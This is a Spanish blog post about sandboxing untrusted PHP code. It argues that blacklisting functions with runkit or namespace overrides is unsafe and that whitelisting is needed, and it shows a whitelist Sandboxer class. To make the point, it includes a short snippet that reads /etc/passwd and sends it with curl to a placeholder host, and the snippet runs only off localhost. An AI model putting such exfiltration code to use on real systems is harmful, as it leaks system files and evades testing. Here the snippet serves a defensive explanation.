En el post anterior hablé sobre protecciones en PHP y una utilidad de SandBox que monté. Sin embargo me dejé algunas cosas en el tintero que me gustaría comentar ahora.

En PHP hay dos extensiones interesantes relacionadas con este tema: Parsekit y runkit.

La extensión parsekit nos permite obtener los opcodes que se obtendrían al compilar un archivo PHP. En mi caso la he utilizado en alguna ocasión para medir la calidad del código generado a nivel de opcode. Todavía tengo que verificar si permite cargar archivos ya compilado.

La extensión runkit nos permite cambiar elementos en tiempo de ejecución: eliminar, añadir y modificar constantes, funciones y métodos. También permite configurar el allow_url_fopen, permitir eval y el blacklisting de funciones y clases.

Y ahí era donde quería yo llegar: la inseguridad del blacklisting.

  • El blacklist consiste en eliminar unos elementos concretos de la lista considerando esos elementos como inseguros y el resto como seguros. (Menos restrictivo)
  • El whitelist consiste en permitir solo los elementos que consideras seguros. (Más restrictivo)

Me he encontrado con gente que cree que el allow_url_fopen de PHP impide que se pueda acceder a contenido remoto y que no se podía acceder a la red con esa configuración deshabilitada. Sí, sí que se puede.

Imaginemos que un script que estamos intentando ejecutar hiciese algo así:

// With allow_fopen = Off and curl or other extensions.  
if ($_SERVER['HTTP_HOST'] != 'localhost') {  
    $passwd = file_get_contents('/etc/passwd');  
    curl_exec(curl_init("http://recvhost/" . http_build_query('passwd' => $passwd)));  
}  

Quien dice hacer eso, dice hacer otro tipo de cosas.

Puedes bloquear todas las funciones que se te ocurran, todas las clases que se te ocurran, que con que haya una extensión que no recuerdes o con que haya una nueva versión de PHP que incluya una serie de funciones nuevas que haga IO directo o indiercto, “l’has cagao”. El blacklisting hace que la actualización de los sistemas se vuelva un queso gruller de la seguridad.

En este caso la extensión runkit no nos podría ayudar a evitar código malintencionado mientras estamos haciendo pruebas. Podemos reescribir funciones, y bloquear todas las funciones que quieras, que como haya alguna que se te haya colado o se te cuele en un futuro estás en peligro haciendo estas cosas u otras. Lo mismo se podría de decir de sistemas de templates que te permiten ejecutar cualquier función o se limitan por blacklisting. Siempre whitelisting.

Hay otra forma de modificar funciones ya escritas a partir de PHP 5.3 en un contexto concreto. Y consiste en usar namespaces.

namespace test;  

function sort(&$a) {  
    \rsort($a);  
}  

function str_replace($a, $b, $c) {  
    return \str_replace(' ', '_', \str_replace($b, $a, $c));  
}  

$a = array(1,2,3,4);  
sort($a);  
echo str_replace('a', 'b', "hola, esto es una prueba\n");  
print_r($a);  

Por supuesto, esto es equivalente al blacklisting y hay que añadir lo del namespace en cada archivo (incluso en los eval dentro de archivos con namespaces). Modificando el archivo original cuando en el caso que comenté en el archivo anterior no convenía hacerlo porque se leía para extraer la información.

En otro post ya explicaré cómo usar la extensión v8js, envío de cabeceras personalizadas y cookies para saltarse ciertas protecciones hechas en javascript en los navegadores a la hora de hacer spiders o downloaders. También explicaré algunos problemas de captchas y cómo saltárselos y cómo funcionan algunos OCRs para captchas.

En el post anterior se me olvidó embeber un ejemplo de código del Sandboxer que monté que permite definir whitelisting y redefinir las funciones que interesen (como fopen para habilitar solo lectura):

$sandboxer = new Sandboxer();  
$sandboxer->registerErrorHandlers();  
$sandboxer->register('base64_decode');  
$sandboxer->register('urldecode');  
$sandboxer->register('fopen', function($name, $type) {  
    if ($type != 'rb') throw(new SandboxerException("Unexpected fopen type"));  
    return fopen($name, 'rb');  
});  
$sandboxer->register('fread');  
$sandboxer->register('fclose');  
$sandboxer->register('strtr');  
$sandboxer->register('preg_match');  
$sandboxer->register('str_replace');  
$sandboxer->register('die', function($v) {  
    die($v);  
});  

try {  
    $sandboxer->execute_file($file_to_execute);  
} catch (SandboxerException $e) {  
    printf("Exception: %s\n", $e->getMessage());  
}  

echo '<' . '?php ' . $sandboxer->unprocessed_code;  

Comentar que el fopen modificado para ser seguro del todo debería verificar que no se usasen wrappers (tipo http:// y similares). En mi caso no me hizo falta porque estuve ejecutando el código en una máquina virtual desconectada de Internet. Siendo una máquina virtual tampoco se habría acabado el mundo si se hubiese escrito algún archivo, pero me habría hecho perder tiempo restaurándola.